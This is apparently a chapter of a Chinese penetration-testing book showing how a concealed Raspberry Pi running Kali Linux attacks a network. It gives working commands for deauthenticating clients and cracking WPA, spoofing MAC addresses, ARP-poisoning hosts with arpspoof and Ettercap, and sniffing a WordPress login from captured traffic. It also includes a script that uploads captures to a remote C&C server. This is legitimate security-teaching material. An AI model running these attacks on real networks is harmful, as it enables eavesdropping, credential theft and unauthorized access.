行文至此,我们已经介绍过如何搭建树莓派,如何安装Kali Linux,以及通过各种远程访问方式,把树莓派用于渗透测试。现在开始学习如何在目标网络里捕获数据。本章将带您领略如何使用Kali Linux里专为树莓派进行过优化的默认自带工具,以及apt-get命令额外下载的各款工具,对LAN网络和无线网络进行各种攻击的场景。Kali Linux本身自带和在线能下载到的工具可谓五花八门,但是这里会专注于那些能在树莓派上正常使用的软件。
本章讲解了以下内容:
![]()
由于受树莓派大小和处理能力限制,树莓派的性能也有限。强烈建议先在实验室环境里测试后文提到的各种技术,而不是直接把它放在真实的渗透测试中使用。
网络勘察往往很费时,但对渗透测试来说,这又是至关重要的一步。越了解自己的目标,越容易找到最快最便捷的成功之道。最好的做法是,刚入手时尽量不与目标做一对一的交互;当然,逐渐深入了解后,会接触到具体的目标。在接触之后,就需要确认目标系统里开放了哪些端口,并摸清楚其所连接的网络环境。通常,一旦攻入了系统,就可以再继续扫描网络的另1个网段,获得目标网络中更深入的访问权限。第4章会再继续讨论这个话题。
树莓派的优势是体积小,便携性高。一般来说,Kali Linux作为攻击系统是运行在目标网络外部的。然而,类似PWNIE Express [1] 这类工具,或者某些运行Kali Linux的小型系统如树莓派,就可以放到目标网络内部,通过第2章中提到的远程方式进行管理。这样攻击者在执行内部勘察时,就得以进入网络内部,绕过了常规的边界防护。这种方式最显著的难点就是要物理地把这套系统放进网络中,并能与之远程通信而不被检测到。但如果可行,这种方式就很高效了。
下面就来接触几种最常见的网络扫描方法。假设已在目标网络中设好内应点,现在希望能充分了解当前连着的网络。
要扫描网络中的主机和服务,最流行的开源工具就是Nmap(为Network Mapper的缩写)。Nmap的高级功能可以检测系统里运行的不同应用,还提供如操作系统特征识别这样的服务。Nmap效率很高,然而,如果使用不当,用它做扫描很容易被发现。建议只在特定的场合下使用Nmap,以免触发目标网络的防御系统。
![]()
关于Nmap的更详细信息,请参见http://nmap.org/ 。
要使用Nmap扫描本地网络,可以打开终端窗口,再输入nmap(目标),例如,nmap www.somewebsite.com或nmap 192.168.1.2。有很多其他参数可以调整扫描方式。例如,调整为某种隐秘的扫描模式,或把扫描结果保存到指定位置。图3-1展示了扫描www.thesecurityblogger.com 主机后的结果。请注意这是示例的情况,而且这种扫描方法可算是大肆张扬了。如果输入了上述两条命令,目标机器很可能会发现在用Nmap扫描。
图3-1
关于Nmap的各种特性,网络上有丰富的资料。在本章后面部分也会有例子再加以说明。
以下是最常用的nmap命令参考列表。
![]()
Nmap的图形化界面软件Zenmap未包含在Kali Linux ARM版本的映像文件中。也不建议在树莓派的Kali Linux里弃nmap命令行方式而用图形界面。
装有Wi-Fi网卡的树莓派还可以攻击各种无线设备如手机、平板电脑和笔记本电脑等。只要连上无线网络,扫描的方法和局域网基本类似。然而,要想连上无线网络,往往会碰到密码解密层面的问题。另外,无线网络标识符也就是SSID(Service Set Identifier)也可能已被设为隐藏模式,未对外广播,但只要使用恰当的工具,仍然可以找出隐藏SSID值。这一节包括如何绕开已有的无线防护手段,成功访问到目标Wi-Fi网络,以便执行本书中的各种渗透测试。
树莓派上安装Kali Linux的其中一个使用场景,就是便于将它藏在目标网络内部或附近,并远程发起无线攻击。目标是令树莓派以无线方式接入该网络,并让攻击者可以从远程连进网络。攻击者可能就在附近使用无线方式控制树莓派,直到它破解了目标网络的无线接入。一旦能连入目标网络,攻击者就可以与后门程序建立连接,在任意位置与树莓派进行通信并发起攻击,具体参见第2章中的介绍。在4.5节会详述怎么使用恶意接入点来构造这种攻击。
最常见的保护无线网络的安全协议为WPA(Wi-Fi Protected Access)协议。WPA后来被WPA2取代,做无线渗透测试时很大概率会碰到它。
可以用Aircrack破解WPA和WPA2。Kali Linux包含了Aircrack套装,在破解无线安全方面,它是最受欢迎的程序。Aircrack先收集在无线连接里拦截到的数据包,然后通过算法分析数据,破解较弱的协议,如Wired Equivalent Privacy(WEP),或者用字典列表来暴力破解捕获到的数据。
无线客户端和接入点之间四步握手的弱点,导致WPA/WPA2存在破解可能。总体来说,客户端会对接入点进行认证,并完成一个四步的过程。此时攻击者就可以抓取到密码,并用暴力破解的方式验证密码。整个过程中,破解所需耗费的时间取决于网络密码的独特性,使用的字典列表的涵盖度,以及系统的处理能力。可惜的是,树莓派的处理能力欠缺,也没有足够大的空间来存放更大的字典文件。因此,用离线的方法破解密码,如使用工具John the Ripper可能更合理。建议破解大多数WPA2的时候都使用这种方式。
下面就在树莓派的本机上,破解运行在Linksys WRVS4400N无线路由器上的WPA协议。之所以用WPA做例子,是由于耗时的破解过程在树莓派上可以较快完成。而在树莓派上破解大多数WPA2则需要很长的时间。当然,以下步骤也是可以在效率更快的离线机器上运行的。
步骤如下。
1.启动Aircrack,打开终端窗口并输入airmon-ng,如图3-2所示。
图3-2
2.在Aircrack里,需要先选择在哪块网卡上做破解。在图3-2中,Wi-Fi网卡是wlan0。这是插在树莓派上的USB无线网卡。
3.建议在破解别人的无线网络时,隐藏自己的Mac地址。Kali Linux ARM版本没有包含macchanger这个程序。因此,需要在终端窗口里先使用udo apt-get install macchanger下载。还有别的办法可以修改Mac地址,但macchanger可以提供一个假冒的Mac,这样网卡设备看起来就像一个普通的网络设备如打印机。这对躲避检测也许比较有效。
4.然后,因为要修改Mac地址,需要先停用一下那块网卡接口。在这个例子中,就是要使用以下命令来停止wlan0。
airmon-ng stop wlan0
ifconfig wlan0 down
5.现在需要修改这块网卡的Mac地址,隐藏真实身份。使用macchanger将网卡Mac地址改为一个随机的值,并指定给这个接口。还有别的选项参数可以将网卡切换成其他类型的设备。在本例子中,只需要给网卡指定一个随机Mac地址,输入命令:
macchanger -r wlan0
这里随机Mac地址为b0:43:3a:1f:3a:05,图3-3所示的macchanger显示这块网卡的新Mac信息为未知(unknown)。
图3-3
6.此时的Mac就是伪造的,用以下命令重启airmon-ng:
airmon-ng start wlan0
7.需要先确定当前有哪些无线网络,这样才能从中选择攻击目标。执行以下命令:
airodump-ng wlan0
8.这时候可以知道当前树莓派附近有哪些网络,可以选作攻击目标。一旦确定了攻击目标,就可以停止搜索了,按下Ctrl+C键。记下所选目标网络里的Mac地址也叫BSSID,以及频道号也叫CH。图3-4显示了目标为ESSID叫HackMePlease在CH 6上运行WPA。
图3-4
9.下一步是针对复制下来的Mac地址,再继续运行airodump抓包。执行的时候还需要以下信息:
然后按以下方式运行airodump命令:
airodump-ng -c [
频道号]-w [
用于记录的文件名]--bssid [
目标网络的
ssid] wlan0
执行后,会打开一个新的窗口。让这个新窗口维持打开的状态。
同时再打开另一个新窗口,用于连接目标无线网络。这次执行的是aireplay命令:
aireplay-ng --deauth 1 -a
[目标网络BSSID
]-c
[我们网卡的BSSID
]
[网络接口]
以这个例子来说,命令执行差不多是这样:
aireplay-ng --deauth 1 -a 00:1C:10:F6:04:C3 -c 00:0f:56:bc:2c:d1
wlan0
[5]
图3-5所示为上述命令执行后的效果。
图3-5
![]()
但执行这条命令时未必能获得完整的握手过程。如果的确如此,只能静静地等到某位合法用户访问该接入点时,才能获得攻击所需要的授权过程。如果无法创建一个完整的握手过程,并获得他人的登录授权信息,Aircrack的输出信息中可能会显示若干带有Opening [file].cap信息,后面还跟着No valid WPA handshakes found(未检测到有效的WPA握手)字样的提示。如果看到这些提示,就没必要执行后续步骤了,除非能获得一次完整的握手过程。
10.最后一步是用Aircrack破解捕获的数据,以获得WPA密钥。使用-w选项可以指定使用哪个字典文件来扫描捕获的数据。此时需要用到步骤9中创建的.cap文件,因为在本例中使用capturefile.cap文件名。需要执行以下命令:
aircrack-ng -w ./wordlist.lst wirelessattack.cap
[6]
![]()
Kali Linux ARM版映像文件中默认没有包括用于破解密码的wordlist.lst文件,通常默认的字典文件也不够全面。所以建议使用谷歌查找一些更全面的字典文件(参见下一节字典文件的介绍,可获得更多信息)。要留意自己树莓派上的硬盘空间,因为如果直接在树莓派上使用大量的字典文件,空间占用就太大了。最好的做法,还是把这种需要大量处理步骤的操作,如破解密码,在更强大的系统上以离线的方式来完成。
这时候Aircrack开始尝试利用字典文件中的密码破解捕获的数据。这个时间长短取决于密码的复杂度、字典文件里密码的数量以及树莓派的处理速度,此过程可能颇要持续一段时间。时间跨度从几小时到几天都有可能,这个过程非常枯燥繁琐,最好还是放到比树莓派更强处理速度的外部系统上运行。而且在运行了好几天,好不容易把整个字典文件都跑完之后,依然有可能落空。
![]()
如果输入命令后,Aircrack却没有运行,并未尝试用键值碰撞出密码,那原因多半是命令里没有指定 .cap文件或字典文件wordlist.lst的位置,也可能捕获的数据里就没有完整的握手数据。默认情况下,上述文件都存放在/root目录下。可以将字典文件从别处移到root目录来模拟上述命令的执行,因为这里是把所有的文件都放在root文件夹内。可以输入ls命令确认一下当前目录下的文件。确保查看的是正确的目录,命令执行时所需的文件都在该目录下。
如果攻击成功了,就能看到类似图3-6中提示的,已确认密码为sunshine。
图3-6
最后的第10步最好在远程机器上执行。可以在远程机器上设置好FTP服务器,将.cap数据文件推送到FTP服务器上或使用3.7节谈到的方式上传数据文件。
![]()
请阅读以下这篇文章,获得关于设置FTP服务器的更详细信息http://www.raspberrypi.org/forums/viewtopic.php?f=36&t=35661
有很多途径和工具可以创建攻击所用的词语列表。其中很受欢迎的一款工具叫CeWL(Custom Wordlist Generator,自定义字典生成器),就用于创建自定义的字典文件。如果攻击目标是个人,先用它来搜刮对方的博客、领英页面或其他相关站点的常用字眼,就非常有帮助。CeWL默认不在Kali Linux ARM映像文件里,需要额外执行apt-get install cewl来下载这个程序。
要使用CeWL,先打开终端窗口,输入目标的网站地址。CeWL会检查该URL并根据在该页面上找到的不重复的单词创建字典列表。在以下例子中,针对安全博客www.drchaos.com 创建一份常用单词的字典文件,使用以下命令:
cewl www.drchaos.com -w drchaospasswords.txt
图3-7显示了执行上面这条命令后的屏幕截图。
图3-7
在互联网上,也很容易找到许多常用的字典列表文件。以下是部分可供参考的字典例子。当然,也可以考虑在谷歌里自行搜索。
以下是本书其中一位作者整合到一起的字典文件:http://www.drchaos.com/public_files/chaos-dictionary.lst.txt [8] 。
如果能接入目标网络就太棒了!当然,一旦在网络里扎下营了,下一步通常就是检视数据了。要做到这一点,需要有办法捕获和查看网络上的数据包。也就是要把树莓派变成一个可以远程访问的网络陷阱。
![]()
许多此类工具可能令树莓派超出负载,系统崩溃。请参考建议:使用调优的方式避免产生此类问题。
tcpdump是命令行形式的包分析工具。可以使用tcpdump拦截和显示TCP/IP及在系统中传输和附加的其他数据包。这也意味着树莓派必须能访问到希望检视的那个网络的流量,否则tcpdump就无法提供任何有用的数据。Kali Linux ARM映像文件中也默认没有tcpdump程序,需要执行sudo apt-get install tcpdump来安装。
安装后,只需要打开终端窗口,输入sudo tcpdump。在输入这条命令后,可以观察流经树莓派的数据流,如图3-8所示。
图3-8
如图3-8所示,如果树莓派没有捕获到想要的流量,那就不怎么值得看了。基本上,看到的只是把树莓派接到802.1X交换机后流经自己的流量而已,这实在有点无趣。
让我们来看看怎样让其他系统的数据流过我们的树莓派吧。
![]()
运行tcpdump会消耗大量的树莓派处理能力。测试发现仅运行tcpdump就有可能拖垮树莓派,如果再联合其他程序一起使用就更堪忧了。建议调整数据捕获的策略以避免这种情况。调整数据捕获的内容会在本章后段进行介绍。
常见的捕获敏感信息的方法是使用中间人攻击。中间人攻击的定义是,攻击者直接和被攻击者连接,同时频繁活跃地监听他们之间的通信。通常这种情况发生在一台主机和某些系统之间。例如,常见的密码截获方式就是在用户发送登录身份的主机和Web服务器之间做中间人攻击。本节将会介绍使用Kali Linux中自带的工具,如何进行若干种常见的中间人攻击。
下面是几种使用树莓派做中间人攻击,获得数据的具体方法。
要获得树莓派的数据有好几种做法。其中一种做法是用两块有线网卡把树莓派串进两个系统之间。这需要一个USB接口的网卡,并通过网卡将树莓派接入网络中。在图3-9所示的例子中,树莓派其中一块网卡和Windows笔记本电脑相连,另一块与网络交换机相连。其中有一块网卡就是USB接口的网卡。
图3-9
在真实的渗透测试中,可以随心所欲地改装树莓派的外壳,模拟成电源变压器或者网络集线器,来隐藏攻击系统。通常普通人如果看到网络设备上连着个小盒子,这小盒子在那里看起来也很理所当然,就压根不会劳神去关注它。在一次有授权的渗透测试里,我们曾将树莓派与办公室用具整合在一起,如用一个空心的闹钟来隐藏它。
需要树莓派配置成双向连接目标系统网口和网络端网口的网桥,以观察到流量,否则流量一旦到达树莓派也就结束了。在配置桥接之前,要先安装用于桥接两端网口的程序。安装的方法是执行apt-get install bridge-utils命令。一旦安装好了,下一步就是把树莓派配置成网桥的步骤,以便用于网络监听。
![]()
这种方式设置的树莓派,也适用于做入侵检测/拦截。这些内容会在第6章中再详述。
1.需要先把两个网卡都设置为开放的IP地址,也就是设置为0.0.0.0。要实现这点,需对2块网卡分别执行命令ifconfig eth[网卡编号] 0.0.0.0。
ifconfig eth0 0.0.0.0
ifconfig eth1 0.0.0.0
![]()
此时一定要确保已经下载并安装好桥接所需的应用,否则就需要重新设置与互联网端相连那块网卡的IP地址,这样才能下载到所需应用。或者安装一个USB无线网卡或有另一块USB有线网卡,才能使树莓派连上网络,继续下载需要的应用。
2.将两个网卡桥接成bridge0接口,使用命令brctl按如下添加两端的接口。
brctl addbr bridge0
brctl addif bridge0 eth0
brctl addif bridge0 eth1
如果没有安装bridge-utils应用,这个桥接命令是没法执行成功的。
3.最后一步是启用包含两端网络接口的新网桥,使用以下命令:
ifconfig bridge0 up
图3-10所示为命令执行时的情况。
图3-10
图3-11显示了用tcpdump查看目标笔记本电脑浏览互联网时的流量情况。
图3-11
![]()
部分流量,如SSL网页的部分是加密的。本章后面的部分会用SSLStrip来破解。
另一种从树莓派获取数据的做法是通过中间人攻击,把同一个局域网内其他机器的流量重定向到树莓派,这样就不需要改动其他机器网线的接法了。下面介绍这个做法是如何实现的。
![]()
很多品牌如思科和Juniper的网络交换机,都提供了规避地址解析协议(Address Resolution Protocol,ARP)被污染的措施。因此,在真实的渗透测试环境中,建议采用网络监听 [10] 的方式来做。
第2种用树莓派获得数据的方法是选定同一个网络里的某台机器,并对它进行ARP欺骗,把它的流量引到树莓派来。要这么做需要先下载dsniff软件包,因为默认的Kali Linux ARM映像文件中未包含这个软件。先执行命令:sudo apt-get install dsniff安装相应程序,才能进行ARP欺骗练习。装好dsniff后,就可以执行以下步骤开始ARP欺骗攻击了。
![]()
如果目标机器连接的交换机上启用了规避ARP污染的设置,这种方式会无法奏效。譬如在思科交换机里启用DHCP嗅探(DHCP snooping)和动态ARP检测(Dynamic ARP Inspection)就能防范ARP攻击。在思科交换机中,这些命令大致为ip dhcp snooping和ip arm inspection vlan [vlan号]。
1.要启用IP重定向才能实现ARP欺骗,执行以下命令,使数据包能够往返目标机器和树莓派之间。
echo 1 > /proc/sys/net/ipv4/ip_forward
![]()
执行以下cat命令,如果显示的是1,则可以确认上面的IP重定向设置已生效:
cat /proc/sys/net/ipv4/ip_forward
2.接着,需要确认树莓派所在网络的默认网关和子网掩码。执行以下命令获得所需信息:
netstat -nr
从图3-12中可以看出这是个C类网络,所以网络掩码为255.255.255.0,而其默认网关为10.0.2.1。
图3-12
3.然后,选择确认一个攻击目标。本章前面中提到Nmap这个工具对确定网络中有什么系统非常有帮助。因为只是寻找目标,在这种情况下,使用-R选项做反向域名解析,加入-sn选项以避免执行端口扫描。图3-12中显示默认网关网络是C类,所以扫描整个子网使用Nmap的如下命令。
nmap -Rsn 10.0.2.0/24
在图3-13中,扫描显示局域网内有一台IP地址为10.0.2.63的Dell笔记本电脑,是可选的攻击对象。而其他的设备都是思科和Meraki网络设备。我们还是把目标设定为那台笔记本电脑吧。
图3-13
4.接下来要开始污染在目标机器和默认网关之间的ARP缓存,这样才能监听到两者之间的流量。用-i选项指定网络接口是eth0,用-t选项设定目标是10.0.2.63,而默认路由也叫网关是10.0.2.1,由-r选项设定。所以整条命令的执行如下:
arpspoof -i eth0 -t 10.0.2.63 -r 10.0.2.1
![]()
在这个使用场景中,使用了树莓派自带的那块有线网卡作攻击。如果使用的是无线USB网卡,在接口那里,很可能就要写成wlan0了。
5.如图3-14所示,在运行着ARP缓存污染命令的窗口中,就可以看到攻击目标的相关流量了。保持这一状态,另外再运行类似Wireshark这样的工具,就可以实现数据捕获,查看具体流量信息了。本章后文会继续介绍这个主题。
图3-14
有一些可以简化ARP欺骗和网络端口桥接的程序。Ettercap就是1款很受欢迎的中间人攻击套装,它的功能包括上一节介绍的ARP欺骗。其他主要功能包括嗅探实时连接,过滤流经树莓派的内容,以及针对受害者的各种攻击方式。请访问http://ettercap.github.io/ettercap/ 获得此工具的更详细信息。
Kali Linux ARM版中默认没有包括Ettercap。在执行了apt-get install ettercap命令后,可以看到Ettercap有图形界面和纯文本两种安装选项,如图3-15所示。我们选择从图形化界面的Ettercap入手,所以执行apt-get ettercap-graphical安装所需的程序。
图3-15
Ettercap装好后,输入sudo ettercap -G执行该程序。执行后会出现如图3-16所示的Ettercap图形界面。
图3-16
Ettercap有两种嗅探的做法。第一种叫Unified sniffing(统一嗅探),也就是会嗅探转发到某块网卡上的所有数据包。使用这种方法可以搭配不同的选项,如选择使用贪婪(promiscuous)模式,也就是通过三层路由过来的数据包即使原本不是发给该主机的,也会自动重定向给它。Ettercap会禁用内核的IP重定向,以避免数据包被内核和Ettercap分别发送两次。
![]()
如果目标机器连接的交换机上启用了规避ARP污染的设置,这种方式会无法奏效。譬如在思科交换机里启用DHCP嗅探(DHCP snooping)和动态ARP检测(Dynamic ARP Inspection)就能防范ARP攻击。在思科交换机里,这些命令大致如下:ip dhcp snooping和ip arm inspection vlan [vlan号]。
第2种嗅探做法叫桥接嗅探,也就要使用两块网卡,并在它们之间做流量转发。这种方式与之前使用brctl命令来桥接两块网卡的做法类似。比起ARP污染的手法,更建议使用这种方式,因为这种方式更隐秘也更容易成功。而高级的交换机上已经能够防范ARP污染攻击了。但桥接的缺点是要把树莓派串接进网络里。
![]()
在检测/防范入侵攻击时,用这种方式设置树莓派也很管用。第5章中会再讨论这个话题。
在本例中,使用Unified sniffing的模式,因为树莓派只用eth0接口进行攻击。点击Sniff菜单,并选择Unified sniffing,如图3-17所示。
图3-17
Ettercap会提示选择树莓派的哪个网口。本次攻击只用到标准的eth0网卡,所以需要做出选择,如图3-18所示。
图3-18
Ettercap会在窗口的底部显示关于自身所带插件和协议的详情。同时也会注意在顶层菜单的位置里出现了一些新的选项,如图3-19所示。这里需要扫描网络里的主机。点击Hosts菜单,并选择Scan for hosts来扫描主机。此时Ettercap开始扫描网络中的主机,并同时显示进度条。
图3-19
扫描的结果会呈现在底部一个文本框内。在这个例子中,共发现了4台主机。点击Hosts菜单里的Host list命令,查看找出来的主机。图3-20所示表明在Host list里有4台主机。
图3-20
需要选择两台主机作为目标1(Target 1)和目标2(Target 2)。在这个例子中,选择10.0.2.1,也就是默认网关,作为目标2。再选择被攻击者的机器10.0.2.64作为目标1。这样,树莓派就会位于两个目标当中。
要将一个IP地址加为目标,可以在Host List中,点击IP Address部分,然后点击Add to Target X,X就是要加的目标。此时会看到Ettercap在底部的窗口中就显示选择的IP地址已加为目标IP。要确认IP地址是否已加好,还可以点击Targets菜单中的Current Targets命令。图3-21显示主机10.0.2.64已被加为Target 1。
图3-21
要对选定的目标执行ARP欺骗,可以点击Mitm菜单中的Arp Poisoning命令。这里需要再设置两个额外的选项,一个是Sniff remote connections(嗅探远程连接),另一个是Only poison one-way(只做单向污染),如图3-22所示。选择Sniff remote connections并点击OK按钮。
图3-22
一旦点击OK按钮后,Ettercap就会在底部的窗口中提示它正在对第1组和第2组列表中的受害目标进行ARP污染攻击,这也就是在主机扫描中选出来的Target 1和Target 2主机。最后一步是点击Start菜单中的Start sniffing命令,如图3-23所示。
图3-23
树莓派目前就相当于位于目标攻击系统和默认网关之间,后续就可以通过Wireshark这类嗅探软件查看数据流量。Ettercap本身也自带嗅探功能,但它的自带功能远不如Wireshark这类工具,在后面章节会谈到这些工具。在运行Ettercap的时候,如果希望监控ARP欺骗攻击,点击View菜单中的Connections命令。
Ettercap也可以命令行方式执行,这比图形方式所消耗的资源更少。可以执行apt-get install ettercap-text-only命令下载安装命令行版本的Ettercap。
假设想在命令行状态下执行与前面图形界面例子中一样的步骤,去攻击和树莓派同网段的设备。以下命令可以快速实现这个目标:
ettercap -Tqi eth0 -M arp:remote //
图3-24所示的扫描结果与图形界面的颇为接近。
图3-24
然而,在命令行状态的例子中,实际上攻击的是所有被加到Group 1和Group 2中的主机,也就是网络中所有的机器都是被攻击目标。如上述命令行参数所示,指定监听的是eth0网卡,Ettercap发现了4台主机,这样执行就把4台主机都加进两个组里了。另外,这么做不能解密SSL流量;这部分内容会在本章后面的内容里详述。
要确认Ettercap是否在正常工作,可以使用网络监控软件做测试,如dsniff套装里的urlsnarf程序。如图3-25所示,执行urlsnarf -i [网卡接口]命令。
图3-25
此时执行urlsnarf的终端窗口中就可以看到网络流量了,也就是在本次攻击中捕获的内容,如图3-26所示。
图3-26
如果要查看中间人攻击捕获流量中的图片内容,可以使用Driftnet工具。肯定有更好的方法找到更有趣的数据。然而如果关注的只是图片类信息,Driftnet就非常有用了。Driftnet在Kali Linux ARM中默认未自带,可以执行apt-get install driftnet安装这一程序。
装好后,可以执行driftnet -i eth0启动该程序,此时会打开一个新的空白终端窗口。在中间人攻击中的被攻击方查看的任意图片都会显示在这个窗口中。图3-27所示为某台主机在访问思科站点www.cisco.com 时,Driftnet捕获到的图像。
图3-27
在真实的渗透测试练习中,抓取原始的tcpdump数据包或使用类似Wireshark这样的工具会消耗大量的功率,有时候还会把树莓派搞垮甚至令其无法工作。因此,在真实环境中除非能调整捕获的策略,尽量减少树莓派的开销,否则最好避免使用此类工具。以下是如何可控地使用tcpdump来捕获网络流量的步骤。
tcpdump非常有用,当然越了解自己的需求,就越能最大限度地用好树莓派上的这款工具。以下内容只是提供了几个调整的要点,因为本书的目标不是要提供一份全面完整的tcpdump教程。
要考虑的第一件事就是尽量缩小tcpdump的监控范围。有几种方式可供选择。第一种是指定host关键字。host关键字可以过滤出与之匹配的主机名或IP地址的流量。具体用法如下:
tcpdump host www.drchaos.com
要是用IP地址过滤,可以这么写:
tcpdump host 8.8.8.8
还可以指定源端的IP地址、目标端IP地址,以及源端加目标端IP。在以下例子中,同时设定了源端和目标端的IP地址:
tcpdump src 1.1.1.1 dst 2.2.2.2
当然也可以不用限制得太严格,仅把搜索范围设定为源端或目的端地址。
也许还需要搜索属于特定子网的流量。要达到这个目的,可以使用tcpdump里的net命令。但这么做之前,请谨记这几个要点。如果网络非常繁忙,树莓派很可能跟不上流量捕获。因为不但树莓派处理能力有限,而且它的百兆网卡也是受限的瓶颈。如果超出了树莓派的处理能力,最好的结果就是出现网络丢包,无法准确捕获到所期望的结果,最坏的结果就是直接把系统搞垮了。
以下命令用于查看特定子网的流量:
tcpdump net 10.0.1.0/24
还可以像以下例子一样搜索特定协议的流量:
tcpdump port 80,21
尽管名字叫tcpdump,但实际上它可以指定过滤TCP、UDP和ICMP协议。
tcpdump icmp
[11]
还可以设置监控特定的端口,甚至还可以进一步设定这些端口是源端口还是目标端口。以下例子就结合了以上提到的还几种选项:
tcpdump src port 1099 and udp icmp and src port 20
过滤出来的数据可以保存到一个文件中,以便后续分析。要把捕获的数据写到一个文件里,需要使用-w选项,后面跟着要保存的文件名。最好把文件名的后缀设定为.cap:
tcpdump -s 10994 port 80 -w my_capture_file.cap
可以通过tcpdump的-r选项再读取已保存的数据文件,举例如下:
tcpdump -r my_capture_file.cap
然而,还是建议将捕获到的数据文件传给外部的FTP、SCP、HTTPS或其他类型服务器。
如果希望把网络抓包的数据输出到其他服务器,以免占满树莓派的空间,以下步骤可以将抓包数据输出到外部机器,由它们处理那些比较耗费资源的任务如密码破解或报表生成。
本书其他章节需要输出数据时,以下方法也是适用的。
第2章曾建议搭建一个远程服务器,用作C&C中心主控服务。本章前面也提到要把抓包文件传给FTP服务器。关于FTP的使用,很重要的一点是需要谨记,从本质上来说FTP并不安全。人们选择FTP有各种原因。然而在真实世界的渗透攻击中,使用各种形式的加密,如IPSec通道或者SSH/SFTP传输都是非常必要的。IPSec确保所有的数据传输不会暴露在互联网上,不会被其他人捕获和查看到,只有保障了FTP服务的通信安全,才能确保网络中客户端、服务器,以及中间的传输媒介都是完全可控的。
![]()
大家也许会问,“为什么要如此大费周章,直接使用FTP不就好了吗?”如果捕获到的是敏感信息,就有非常充分的理由需要保护这些数据了。那又会带出另一个问题,为什么一开始的时候打算用FTP来传数据呢?在前面的章节中也提到,使用FTP是因为其在业界中广为人知,也有现成的文件自动传输脚本。当然,使用更安全的协议,也可以实现同等的效果。
下面介绍怎样通过一个简单的FTP脚本获得在远端树莓派上的数据。首先,打开文本编辑器,将文件后缀名设定为.py,并把这个文件存为ftp.py 。
import ftplib #导入python里的ftp模块库
session = ftplib.FTP('server.IP.address.com','USERNAME','PASSWORD')
file = open('*.cap','rb') # 准备要发送的文件
session.storbinary('STOR *.cap', file) # 发送文件
file.close() # 关闭文件和FTP
session.quit() # 退出ftp会话
下一步,需要修改文件的权限。可以执行chmod 777 ftp.py 命令将其变成可执行文件。
这是一个非常基础的脚本,还需要在代码中设定要传输的文件、FTP服务器的用户名、密码和IP地址。
如果要频繁使用这个脚本,还可以加入更多的选项,如自动监控捕获文件的目录,然后自动用FTP完成上传,甚至可以指定上传的目录。
树莓派的tcpdump抓包输出文件中包含数量众多的数据包,查看和组织起来非常费劲。要实现这个目标,处理此类数据最常用的办法是使用业界标准的图形化网络分析工具Wireshark。下面介绍如何使用这个工具。
![]()
相比众多轻量级的命令行工具,Wireshark需要更多的处理能力,这可能导致树莓派变得不稳定甚至崩溃。因此,建议使用tcpdump来捕获数据,并通过调整参数,用最优化的方式做数据捕获。然后在C&C服务器上用Wireshark查看捕获的数据而不是直接在树莓派上查看。
Wireshark是当今最受欢迎的开源数据包分析程序之一。它可以用于检测网络故障、分析系统间的通信,而在渗透测试中,如果已经攻进了目标网络,就可以在该网络用Wireshark捕获数据。可以将Wireshark视为有着好看图形界面和灵活数据排序功能的tcpdump。Kali Linux ARM版本默认已自带Wireshark,可以在Kali Linux的应用下拉菜单的“top ten tools(最常用的10款工具)”类别里找到它。
![]()
在实际环境中使用前,需要先在实验室里提前测试一下Wireshark的用法。在真实环境里,Wireshark有时候会把树莓派搞垮。出于这种顾虑,建议在树莓派上运行tcpdump,合理过滤需要抓的包,而把Wireshark运行在远端的C&C服务器上。如果非要用它不可,建议在树莓派上使用tshark,而在C&C服务器上运行完整版的Wireshark。
Wireshark有两种用法。首先看看完整图形界面版。
启动Wireshark时,会看到一条错误信息,然后再有一条告警信息,提醒当前程序是以超级用户执行的,也就是root。只要点击OK就进入主界面了。
图3-28所示为Wireshark的主界面截图。
图3-28
假设此时通过本章前面介绍的方法,已经有流量在通过树莓派,可以看看实时的数据。第一步就是设定Wireshark打算用哪块网卡捕获数据,这时可以点击界面上的Interface List按钮,弹出的窗口中列出了所有网卡,在其中选择用于查看流量的网卡。
如果树莓派这时是以两块网卡搭起的网桥形式运行的,需要在数据源里选择bridge0网卡接口。如果是用ARP污染的方式获得数据的,这说明只用到一块网卡,可以选择类似eth0这样的网卡接口,具体见图3-29中的例子。选择需要监控的那块网卡前面的核选框,再点击Start按钮即可。
图3-29
![]()
可以用Wireshark查看之前捕获的数据,如保存在pcap文件中的数据。理想的情况是把树莓派放在网络中做网络捕获,后续再查看捕获内容的时候。由于查看数据包文件时会消耗大量的内存,所以建议只用树莓派查看实时的数据,而不要在树莓派上累积大量数据捕获文件,因为它的存储能力很有效。折中的做法是把数据存储和输出网络捕获到外部C&C服务器上,以适应渗透测试的需求。
一旦选好网卡接口,就会进入Wireshark的实时捕获页面。如果是采用ARP污染的方式从树莓派上获得流量的话,此时会看到大量的数据,其中有很多是ARP污染的数据包,在图3-30上以黑色标识。
图3-30
Wireshark广受欢迎的一个功能是能迅速地对大量的数据日志进行排序。只要在过滤器(filter)一行中输入特定的主机名、数据包类型等信息,就可以大大缩小感兴趣数据包的范围。举一个攻击的例子。
在这个例子里,启动Wireshark进行实时捕获,同时以管理员身份登入目标系统,这是一套WordPress博客站点。Wireshark可以捕获到主机的登录会话,因此攻击者可以查看捕获的密码。要停止Wireshark捕获,点击红色的正方形按钮。停止后可能要稍微等1分钟,Wireshark的界面才会显示出来。
这时候,可以来找找WordPress的登录信息。登录信息,也就是用户访问一个系统的信息如用户名和密码,通常能在POST请求的数据包中找到。先使用过滤器过滤出所需的流量数据,缩小目标。因此,在本例中可以使用ip.src == 的命令排查出目标端的IP地址,再使用http.request.full_url的命令过滤出HTTP请求登录信息,然后点击“应用”执行过滤。图3-30所示的过滤器就是这条规则的写法,以及执行过滤后输出的情况。
![]()
在输入正确的过滤表达式后,过滤器位置的颜色会变成绿色。Wireshark会校验输入的过滤条件,并自动提示可能的过滤器表达式写法。如果输入的内容有错误,过滤器位置的颜色会变成红色。
使用下面这条命令可以过滤出需要的目标端IP地址:
ip.src ==
[目标IP
] and http.request.full_url
![]()
输入过滤表达式时,为了避免把树莓派搞垮,建议先把暂停网络捕获,等一分钟后再输入过滤表达式。
一旦应用了一条过滤规则后,Wireshark可能要花好几分钟时间才能清除掉不需要的数据。在过滤捕获数据时,会看到Wireshark中会出现一个进度窗口。
可以忽略掉GET类型的数据包,因为这是访问登录页面时加载的网站内容,还可以忽略掉ARP欺骗的数据。想要迅速地浏览数据,可以点击其中一个字段如Protocol(协议)来排序,让该字段按字母数字的方式进行排序即可。排序可能也要花数分钟的时间,并且在计算的时候也会再次弹出进度条。
这里要找的是用户提交数据给服务器时的POST请求行。具体见图3-31中红圈框出的位置。
图3-31
要查看原始的数据包,可以点击这一行,右键弹出选项后,选择Follow TCP Stream,然后会弹出这个数据流的显示窗口,如图3-32那样显示原始的登录信息。
图3-32
